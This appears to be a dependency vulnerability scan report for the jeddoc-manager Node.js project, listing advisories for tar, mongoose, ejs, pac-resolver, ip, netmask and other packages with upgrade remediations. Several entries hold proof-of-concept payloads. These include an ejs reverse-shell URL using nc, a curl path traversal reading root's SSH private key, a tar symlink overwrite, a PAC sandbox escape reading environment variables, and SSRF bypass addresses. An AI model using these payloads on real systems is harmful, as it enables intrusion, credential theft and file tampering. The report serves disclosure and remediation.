high severity
- Vulnerable module: http-proxy-agent
- Introduced through: nightwatch@0.9.21
Detailed paths
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › nightwatch@0.9.21 › proxy-agent@2.0.0 › http-proxy-agent@1.0.0Remediation: Upgrade to nightwatch@1.0.4.
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › nightwatch@0.9.21 › proxy-agent@2.0.0 › pac-proxy-agent@1.1.0 › http-proxy-agent@1.0.0Remediation: Upgrade to nightwatch@1.0.4.
Overview
http-proxy-agent provides an http.Agent implementation that connects to a specified HTTP or HTTPS proxy server, and can be used with the built-in http module.
Affected versions of this package are vulnerable to Uninitialized Memory Exposure and Denial of Service (DoS) attacks due to passing unsanitized options to Buffer(arg).
Uninitialized memory Exposre PoC by ChALKer
// listen with: nc -l -p 8080
var url = require('url');
var https = require('https');
var HttpsProxyAgent = require('https-proxy-agent');
var proxy = {
protocol: 'http:',
host: "127.0.0.1",
port: 8080
};
proxy.auth = 500; // a number as 'auth'
var opts = url.parse('https://example.com/');
var agent = new HttpsProxyAgent(proxy);
opts.agent = agent;
https.get(opts);
Details
The Buffer class on Node.js is a mutable array of binary data, and can be initialized with a string, array or number.
const buf1 = new Buffer([1,2,3]);
// creates a buffer containing [01, 02, 03]
const buf2 = new Buffer('test');
// creates a buffer containing ASCII bytes [74, 65, 73, 74]
const buf3 = new Buffer(10);
// creates a buffer of length 10
The first two variants simply create a binary representation of the value it received. The last one, however, pre-allocates a buffer of the specified size, making it a useful buffer, especially when reading data from a stream.
When using the number constructor of Buffer, it will allocate the memory, but will not fill it with zeros. Instead, the allocated buffer will hold whatever was in memory at the time. If the buffer is not zeroed by using buf.fill(0), it may leak sensitive information like keys, source code, and system info.
Remediation
Upgrade https-proxy-agent to version 2.1.0 or higher.
Note This is vulnerable only for Node <=4
References
high severity
- Vulnerable module: https-proxy-agent
- Introduced through: nightwatch@0.9.21
Detailed paths
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › nightwatch@0.9.21 › proxy-agent@2.0.0 › https-proxy-agent@1.0.0Remediation: Upgrade to nightwatch@1.0.4.
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › nightwatch@0.9.21 › proxy-agent@2.0.0 › pac-proxy-agent@1.1.0 › https-proxy-agent@1.0.0Remediation: Upgrade to nightwatch@1.0.4.
Overview
https-proxy-agent is a module that provides an http.Agent implementation that connects to a specified HTTP or HTTPS proxy server, and can be used with the built-in https module.
Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling due to passing unsanitized options to Buffer(arg).
Note This is vulnerable only for Node <=4
PoC
// listen with: nc -l -p 8080
var url = require('url');
var https = require('https');
var HttpsProxyAgent = require('https-proxy-agent');
var proxy = {
protocol: 'http:',
host: "127.0.0.1",
port: 8080
};
proxy.auth = 500; // a number as 'auth'
var opts = url.parse('https://example.com/');
var agent = new HttpsProxyAgent(proxy);
opts.agent = agent;
https.get(opts);
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.
Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.
One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.
When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.
Two common types of DoS vulnerabilities:
High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.
Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm
wspackage
Remediation
Upgrade https-proxy-agent to version 2.2.0 or higher.
References
high severity
- Vulnerable module: mongoose
- Introduced through: mongoose@4.13.21
Detailed paths
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › mongoose@4.13.21Remediation: Upgrade to mongoose@6.13.9.
Overview
mongoose is a Mongoose is a MongoDB object modeling tool designed to work in an asynchronous environment.
Affected versions of this package are vulnerable to Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection') in the sanitizeFilter function. An attacker can gain unauthorized access to sensitive data by injecting malicious query operators inside a $nor clause when user-controlled input is passed directly into query methods.
Note: This is only exploitable if the application explicitly enables the sanitization feature and passes unsanitized user input directly into query methods without additional input validation.
Workaround
This vulnerability can be mitigated by deleting $nor keys from user input, using an additional schema validation library, or writing middleware to strip out $nor from query filters.
Remediation
Upgrade mongoose to version 6.13.9, 7.8.9, 8.22.1, 9.1.6 or higher.
References
high severity
- Vulnerable module: nodemailer
- Introduced through: nodemailer@4.7.0
Detailed paths
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › nodemailer@4.7.0Remediation: Upgrade to nodemailer@7.0.11.
Overview
nodemailer is an Easy as cake e-mail sending from your Node.js applications
Affected versions of this package are vulnerable to Uncontrolled Recursion in the addressparser function. An attacker can cause the process to terminate immediately by sending an email address header containing deeply nested groups, separated by many :s.
Remediation
Upgrade nodemailer to version 7.0.11 or higher.
References
high severity
- Vulnerable module: tar
- Introduced through: bcrypt@1.0.3 and node-sass@4.14.1
Detailed paths
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › bcrypt@1.0.3 › node-pre-gyp@0.6.36 › tar@2.2.2Remediation: Upgrade to bcrypt@2.0.0.
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › node-sass@4.14.1 › node-gyp@3.8.0 › tar@2.2.2Remediation: Upgrade to node-sass@5.0.0.
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › bcrypt@1.0.3 › node-pre-gyp@0.6.36 › tar-pack@3.4.1 › tar@2.2.2
Overview
tar is a full-featured Tar for Node.js.
Affected versions of this package are vulnerable to Arbitrary File Overwrite. This is due to insufficient symlink protection.
node-tar aims to guarantee that any file whose location would be modified by a symbolic link is not extracted. This is, in part, achieved by ensuring that extracted directories are not symlinks. Additionally, in order to prevent unnecessary stat calls to determine whether a given path is a directory, paths are cached when directories are created.
This logic is insufficient when extracting tar files that contain both a directory and a symlink with the same name as the directory. This order of operations results in the directory being created and added to the node-tar directory cache. When a directory is present in the directory cache, subsequent calls to mkdir for that directory are skipped.
However, this is also where node-tar checks for symlinks occur. By first creating a directory, and then replacing that directory with a symlink, it is possible to bypass node-tar symlink checks on directories, essentially allowing an untrusted tar file to symlink into an arbitrary location and subsequently extracting arbitrary files into that location.
Remediation
Upgrade tar to version 3.2.3, 4.4.15, 5.0.7, 6.1.2 or higher.
References
high severity
- Vulnerable module: tar
- Introduced through: bcrypt@1.0.3 and node-sass@4.14.1
Detailed paths
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › bcrypt@1.0.3 › node-pre-gyp@0.6.36 › tar@2.2.2Remediation: Upgrade to bcrypt@2.0.0.
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › node-sass@4.14.1 › node-gyp@3.8.0 › tar@2.2.2Remediation: Upgrade to node-sass@5.0.0.
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › bcrypt@1.0.3 › node-pre-gyp@0.6.36 › tar-pack@3.4.1 › tar@2.2.2
Overview
tar is a full-featured Tar for Node.js.
Affected versions of this package are vulnerable to Arbitrary File Overwrite. This is due to insufficient absolute path sanitization.
node-tar aims to prevent extraction of absolute file paths by turning absolute paths into relative paths when the preservePaths flag is not set to true. This is achieved by stripping the absolute path root from any absolute file paths contained in a tar file. For example, the path /home/user/.bashrc would turn into home/user/.bashrc.
This logic is insufficient when file paths contain repeated path roots such as ////home/user/.bashrc. node-tar only strips a single path root from such paths. When given an absolute file path with repeating path roots, the resulting path (e.g. ///home/user/.bashrc) still resolves to an absolute path.
Remediation
Upgrade tar to version 3.2.2, 4.4.14, 5.0.6, 6.1.1 or higher.
References
high severity
- Vulnerable module: tar
- Introduced through: bcrypt@1.0.3 and node-sass@4.14.1
Detailed paths
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › bcrypt@1.0.3 › node-pre-gyp@0.6.36 › tar@2.2.2
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › node-sass@4.14.1 › node-gyp@3.8.0 › tar@2.2.2
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › bcrypt@1.0.3 › node-pre-gyp@0.6.36 › tar-pack@3.4.1 › tar@2.2.2
Overview
tar is a full-featured Tar for Node.js.
Affected versions of this package are vulnerable to Symlink Attack exploitable via stripAbsolutePath(), used by the Unpack class. An attacker can overwrite arbitrary files outside the intended extraction directory by including a hardlink whose linkpath uses a drive-relative path such as C:../target.txt in a malicious tar.
Details
A Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with "dot-dot-slash (../)" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.
Directory Traversal vulnerabilities can be generally divided into two types:
- Information Disclosure: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.
st is a module for serving static files on web pages, and contains a vulnerability of this type. In our example, we will serve files from the public route.
If an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.
curl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa
Note %2e is the URL encoded version of . (dot).
- Writing arbitrary files: Allows the attacker to create or replace existing files. This type of vulnerability is also known as
Zip-Slip.
One way to achieve this is by using a malicious zip archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.
The following is an example of a zip archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in /root/.ssh/ overwriting the authorized_keys file:
2018-04-15 22:04:29 ..... 19 19 good.txt
2018-04-15 22:04:42 ..... 20 20 ../../../../../../root/.ssh/authorized_keys
Remediation
Upgrade tar to version 7.5.10 or higher.
References
high severity
- Vulnerable module: tar
- Introduced through: bcrypt@1.0.3 and node-sass@4.14.1
Detailed paths
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › bcrypt@1.0.3 › node-pre-gyp@0.6.36 › tar@2.2.2
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › node-sass@4.14.1 › node-gyp@3.8.0 › tar@2.2.2
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › bcrypt@1.0.3 › node-pre-gyp@0.6.36 › tar-pack@3.4.1 › tar@2.2.2
Overview
tar is a full-featured Tar for Node.js.
Affected versions of this package are vulnerable to Symlink Attack via tar.x() extraction, which allows an attacker to overwrite arbitrary files outside the intended extraction directory with a drive-relative symlink target - like C:../../../target.txt.
PoC
const fs = require('fs')
const path = require('path')
const { Header, x } = require('tar')
const cwd = process.cwd()
const target = path.resolve(cwd, '..', 'target.txt')
const tarFile = path.join(cwd, 'poc.tar')
fs.writeFileSync(target, 'ORIGINAL\n')
const b = Buffer.alloc(1536)
new Header({
path: 'a/b/l',
type: 'SymbolicLink',
linkpath: 'C:../../../target.txt',
}).encode(b, 0)
fs.writeFileSync(tarFile, b)
x({ cwd, file: tarFile }).then(() => {
fs.writeFileSync(path.join(cwd, 'a/b/l'), 'PWNED\n')
process.stdout.write(fs.readFileSync(target, 'utf8'))
})
Details
A Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with "dot-dot-slash (../)" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.
Directory Traversal vulnerabilities can be generally divided into two types:
- Information Disclosure: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.
st is a module for serving static files on web pages, and contains a vulnerability of this type. In our example, we will serve files from the public route.
If an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.
curl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa
Note %2e is the URL encoded version of . (dot).
- Writing arbitrary files: Allows the attacker to create or replace existing files. This type of vulnerability is also known as
Zip-Slip.
One way to achieve this is by using a malicious zip archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.
The following is an example of a zip archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in /root/.ssh/ overwriting the authorized_keys file:
2018-04-15 22:04:29 ..... 19 19 good.txt
2018-04-15 22:04:42 ..... 20 20 ../../../../../../root/.ssh/authorized_keys
Remediation
Upgrade tar to version 7.5.11 or higher.
References
high severity
- Vulnerable module: ajv
- Introduced through: webpack@2.7.0, eslint@3.19.0 and others
Detailed paths
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › webpack@2.7.0 › ajv@4.11.8Remediation: Upgrade to webpack@3.11.0.
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › eslint@3.19.0 › table@3.8.3 › ajv@4.11.8Remediation: Upgrade to eslint@4.0.0.
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › extract-text-webpack-plugin@2.1.2 › schema-utils@0.3.0 › ajv@5.5.2
Overview
ajv is an Another JSON Schema Validator
Affected versions of this package are vulnerable to Prototype Pollution. A carefully crafted JSON schema could be provided that allows execution of other code by prototype pollution. (While untrusted schemas are recommended against, the worst case of an untrusted schema should be a denial of service, not execution of code.)
Details
Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.
There are two main ways in which the pollution of prototypes occurs:
Unsafe
Objectrecursive mergeProperty definition by path
Unsafe Object recursive merge
The logic of a vulnerable recursive merge function follows the following high-level model:
merge (target, source)
foreach property of source
if property exists and is an object on both the target and the source
merge(target[property], source[property])
else
target[property] = source[property]
When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.
Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).
lodash and Hoek are examples of libraries susceptible to recursive merge attacks.
Property definition by path
There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)
If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.
Types of attacks
There are a few methods by which Prototype Pollution can be manipulated:
| Type | Origin | Short description |
|---|---|---|
| Denial of service (DoS) | Client | This is the most likely attack. DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf). The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service. For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail. |
| Remote Code Execution | Client | Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation. For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code. |
| Property Injection | Client | The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens. For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges. |
Affected environments
The following environments are susceptible to a Prototype Pollution attack:
Application server
Web server
Web browser
How to prevent
Freeze the prototype— use
Object.freeze (Object.prototype).Require schema validation of JSON input.
Avoid using unsafe recursive merge functions.
Consider using objects without prototypes (for example,
Object.create(null)), breaking the prototype chain and preventing pollution.As a best practice use
Mapinstead ofObject.
For more information on this vulnerability type:
Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018
Remediation
Upgrade ajv to version 6.12.3 or higher.
References
high severity
- Vulnerable module: bson
- Introduced through: mongoose@4.13.21
Detailed paths
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › mongoose@4.13.21 › bson@1.0.9Remediation: Upgrade to mongoose@5.3.9.
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › mongoose@4.13.21 › mongodb@2.2.34 › mongodb-core@2.1.18 › bson@1.0.9Remediation: Upgrade to mongoose@5.2.9.
Overview
bson is a BSON Parser for node and browser.
Affected versions of this package are vulnerable to Internal Property Tampering. The package will ignore an unknown value for an object's _bsotype, leading to cases where an object is serialized as a document rather than the intended BSON type.
NOTE: This vulnerability has also been identified as: CVE-2019-2391
Remediation
Upgrade bson to version 1.1.4 or higher.
References
high severity
- Vulnerable module: bson
- Introduced through: mongoose@4.13.21
Detailed paths
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › mongoose@4.13.21 › bson@1.0.9Remediation: Upgrade to mongoose@5.3.9.
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › mongoose@4.13.21 › mongodb@2.2.34 › mongodb-core@2.1.18 › bson@1.0.9Remediation: Upgrade to mongoose@5.2.9.
Overview
bson is a BSON Parser for node and browser.
Affected versions of this package are vulnerable to Internal Property Tampering. The package will ignore an unknown value for an object's _bsotype, leading to cases where an object is serialized as a document rather than the intended BSON type.
NOTE: This vulnerability has also been identified as: CVE-2020-7610
Remediation
Upgrade bson to version 1.1.4 or higher.
References
high severity
- Vulnerable module: ejs
- Introduced through: nightwatch@0.9.21
Detailed paths
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › nightwatch@0.9.21 › ejs@2.5.7Remediation: Upgrade to nightwatch@1.6.0.
Overview
ejs is a popular JavaScript templating engine.
Affected versions of this package are vulnerable to Remote Code Execution (RCE) by passing an unrestricted render option via the view options parameter of renderFile, which makes it possible to inject code into outputFunctionName.
Note: This vulnerability is exploitable only if the server is already vulnerable to Prototype Pollution.
PoC:
Creation of reverse shell:
http://localhost:3000/page?id=2&settings[view options][outputFunctionName]=x;process.mainModule.require('child_process').execSync('nc -e sh 127.0.0.1 1337');s
Remediation
Upgrade ejs to version 3.1.7 or higher.
References
high severity
- Vulnerable module: js-yaml
- Introduced through: coveralls@2.13.3 and css-loader@0.28.11
Detailed paths
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › coveralls@2.13.3 › js-yaml@3.6.1Remediation: Upgrade to coveralls@3.0.0.
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › css-loader@0.28.11 › cssnano@3.10.0 › postcss-svgo@2.1.6 › svgo@0.7.2 › js-yaml@3.7.0Remediation: Upgrade to css-loader@1.0.0.
Overview
js-yaml is a human-friendly data serialization language.
Affected versions of this package are vulnerable to Arbitrary Code Execution. When an object with an executable toString() property used as a map key, it will execute that function. This happens only for load(), which should not be used with untrusted data anyway. safeLoad() is not affected because it can't parse functions.
Remediation
Upgrade js-yaml to version 3.13.1 or higher.
References
high severity
- Vulnerable module: mongoose
- Introduced through: mongoose@4.13.21
Detailed paths
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › mongoose@4.13.21Remediation: Upgrade to mongoose@5.13.20.
Overview
mongoose is a Mongoose is a MongoDB object modeling tool designed to work in an asynchronous environment.
Affected versions of this package are vulnerable to Prototype Pollution in document.js, via update functions such as findByIdAndUpdate(). This allows attackers to achieve remote code execution.
Note: Only applications using Express and EJS are vulnerable.
PoC
import { connect, model, Schema } from 'mongoose';
await connect('mongodb://127.0.0.1:27017/exploit');
const Example = model('Example', new Schema({ hello: String }));
const example = await new Example({ hello: 'world!' }).save();
await Example.findByIdAndUpdate(example._id, {
$rename: {
hello: '__proto__.polluted'
}
});
// this is what causes the pollution
await Example.find();
const test = {};
console.log(test.polluted); // world!
console.log(Object.prototype); // [Object: null prototype] { polluted: 'world!' }
process.exit();
Details
Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.
There are two main ways in which the pollution of prototypes occurs:
Unsafe
Objectrecursive mergeProperty definition by path
Unsafe Object recursive merge
The logic of a vulnerable recursive merge function follows the following high-level model:
merge (target, source)
foreach property of source
if property exists and is an object on both the target and the source
merge(target[property], source[property])
else
target[property] = source[property]
When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.
Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).
lodash and Hoek are examples of libraries susceptible to recursive merge attacks.
Property definition by path
There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)
If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.
Types of attacks
There are a few methods by which Prototype Pollution can be manipulated:
| Type | Origin | Short description |
|---|---|---|
| Denial of service (DoS) | Client | This is the most likely attack. DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf). The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service. For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail. |
| Remote Code Execution | Client | Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation. For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code. |
| Property Injection | Client | The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens. For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges. |
Affected environments
The following environments are susceptible to a Prototype Pollution attack:
Application server
Web server
Web browser
How to prevent
Freeze the prototype— use
Object.freeze (Object.prototype).Require schema validation of JSON input.
Avoid using unsafe recursive merge functions.
Consider using objects without prototypes (for example,
Object.create(null)), breaking the prototype chain and preventing pollution.As a best practice use
Mapinstead ofObject.
For more information on this vulnerability type:
Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018
Remediation
Upgrade mongoose to version 5.13.20, 6.11.3, 7.3.4 or higher.
References
high severity
- Vulnerable module: pac-resolver
- Introduced through: nightwatch@0.9.21
Detailed paths
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › nightwatch@0.9.21 › proxy-agent@2.0.0 › pac-proxy-agent@1.1.0 › pac-resolver@2.0.0Remediation: Upgrade to nightwatch@1.7.11.
Overview
Affected versions of this package are vulnerable to Remote Code Execution (RCE). This can occur when used with untrusted input, due to unsafe PAC file handling.
In order to exploit this vulnerability in practice, this either requires an attacker on your local network, a specific vulnerable configuration, or some second vulnerability that allows an attacker to set your config values.
NOTE: The fix for this vulnerability is applied in the node-degenerator library, a dependency is written by the same maintainer.
PoC
const pac = require('pac-resolver');
// Should keep running forever (if not vulnerable):
setInterval(() => {
console.log("Still running");
}, 1000);
// Parsing a malicious PAC file unexpectedly executes unsandboxed code:
pac(`
// Real PAC config:
function FindProxyForURL(url, host) {
return "DIRECT";
}
// But also run arbitrary code:
var f = this.constructor.constructor(\`
// Running outside the sandbox:
console.log('Read env vars:', process.env);
console.log('!!! PAC file is running arbitrary code !!!');
console.log('Can read & could exfiltrate env vars ^');
console.log('Can kill parsing process, like so:');
process.exit(100); // Kill the vulnerable process
// etc etc
\`);
f();
Remediation
Upgrade pac-resolver to version 5.0.0 or higher.
References
high severity
- Vulnerable module: ip
- Introduced through: nightwatch@0.9.21
Detailed paths
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › nightwatch@0.9.21 › proxy-agent@2.0.0 › pac-proxy-agent@1.1.0 › pac-resolver@2.0.0 › ip@1.0.1
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › nightwatch@0.9.21 › proxy-agent@2.0.0 › socks-proxy-agent@2.1.1 › socks@1.1.10 › ip@1.1.9
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › nightwatch@0.9.21 › proxy-agent@2.0.0 › pac-proxy-agent@1.1.0 › socks-proxy-agent@2.1.1 › socks@1.1.10 › ip@1.1.9
Overview
ip is a Node library.
Affected versions of this package are vulnerable to Server-side Request Forgery (SSRF) via the ip.isPublic() and ip.isPrivate() functions. An attacker can interact with internal network resources by supplying specially crafted IP address such as octal localhost format ("017700000001") that is incorrectly identified as public.
Note:
This issue exists because of an incomplete fix for CVE-2024-29415.
PoC
Test octal localhost bypass:
node -e "const ip=require('ip'); console.log('017700000001 bypass:', ip.isPublic('017700000001'));" - returns true
Remediation
There is no fixed version for ip.
References
high severity
- Vulnerable module: ip
- Introduced through: nightwatch@0.9.21
Detailed paths
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › nightwatch@0.9.21 › proxy-agent@2.0.0 › pac-proxy-agent@1.1.0 › pac-resolver@2.0.0 › ip@1.0.1
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › nightwatch@0.9.21 › proxy-agent@2.0.0 › socks-proxy-agent@2.1.1 › socks@1.1.10 › ip@1.1.9
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › nightwatch@0.9.21 › proxy-agent@2.0.0 › pac-proxy-agent@1.1.0 › socks-proxy-agent@2.1.1 › socks@1.1.10 › ip@1.1.9
Overview
ip is a Node library.
Affected versions of this package are vulnerable to Server-side Request Forgery (SSRF) via the ip.isPublic() and ip.isPrivate() functions. An attacker can interact with internal network resources by supplying specially crafted IP address such as null route ("0") that is being incorrectly identified as public.
Note: This issue exists because of an incomplete fix for CVE-2024-29415.
Exploit is only possible if the application and operating system interpret connection attempts to 0 or 0.0.0.0 as connections to 127.0.0.1.
PoC
Test null route bypass:
node -e "const ip=require('ip'); console.log('0 bypass:', ip.isPublic('0'));" - returns true
Remediation
There is no fixed version for ip.
References
high severity
new
- Vulnerable module: axios
- Introduced through: axios@0.16.2
Detailed paths
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › axios@0.16.2Remediation: Upgrade to axios@0.32.0.
Overview
axios is a promise-based HTTP client for the browser and Node.js.
Affected versions of this package are vulnerable to Server-side Request Forgery (SSRF) via the shouldBypassProxy function. An attacker can access internal or metadata endpoints by crafting request URLs in IPv4-mapped IPv6 notation, bypassing proxy exclusions. This can result in exposure of sensitive information, such as credentials, especially in cloud environments where instance metadata services are present.
Note: This is only exploitable if the attacker can control the request URL and the application is configured with NO_PROXY to exclude internal or metadata endpoints while using an HTTP/HTTPS proxy.
Remediation
Upgrade axios to version 0.32.0, 1.16.0 or higher.
References
high severity
- Vulnerable module: netmask
- Introduced through: nightwatch@0.9.21
Detailed paths
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › nightwatch@0.9.21 › proxy-agent@2.0.0 › pac-proxy-agent@1.1.0 › pac-resolver@2.0.0 › netmask@1.0.6Remediation: Upgrade to nightwatch@1.6.2.
Overview
netmask is a library to parse IPv4 CIDR blocks.
Affected versions of this package are vulnerable to Server-side Request Forgery (SSRF). It incorrectly evaluates individual IPv4 octets that contain octal strings as left-stripped integers, leading to an inordinate attack surface on hundreds of thousands of projects that rely on netmask to filter or evaluate IPv4 block ranges, both inbound and outbound.
For example, a remote unauthenticated attacker can request local resources using input data 0177.0.0.1 (127.0.0.1), which netmask evaluates as the public IP 177.0.0.1.
Contrastingly, a remote authenticated or unauthenticated attacker can input the data 0127.0.0.01 (87.0.0.1) as localhost, yet the input data is a public IP and can potentially cause local and remote file inclusion (LFI/RFI).
A remote authenticated or unauthenticated attacker can bypass packages that rely on netmask to filter IP address blocks to reach intranets, VPNs, containers, adjacent VPC instances, or LAN hosts, using input data such as 012.0.0.1 (10.0.0.1), which netmask evaluates as 12.0.0.1 (public).
NOTE: This vulnerability has also been identified as: CVE-2021-29418
Remediation
Upgrade netmask to version 2.0.1 or higher.
References
high severity
- Vulnerable module: netmask
- Introduced through: nightwatch@0.9.21
Detailed paths
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › nightwatch@0.9.21 › proxy-agent@2.0.0 › pac-proxy-agent@1.1.0 › pac-resolver@2.0.0 › netmask@1.0.6Remediation: Upgrade to nightwatch@1.6.2.
Overview
netmask is a library to parse IPv4 CIDR blocks.
Affected versions of this package are vulnerable to Server-side Request Forgery (SSRF). It incorrectly evaluates individual IPv4 octets that contain octal strings as left-stripped integers, leading to an inordinate attack surface on hundreds of thousands of projects that rely on netmask to filter or evaluate IPv4 block ranges, both inbound and outbound.
For example, a remote unauthenticated attacker can request local resources using input data 0177.0.0.1 (127.0.0.1), which netmask evaluates as the public IP 177.0.0.1.
Contrastingly, a remote authenticated or unauthenticated attacker can input the data 0127.0.0.01 (87.0.0.1) as localhost, yet the input data is a public IP and can potentially cause local and remote file inclusion (LFI/RFI).
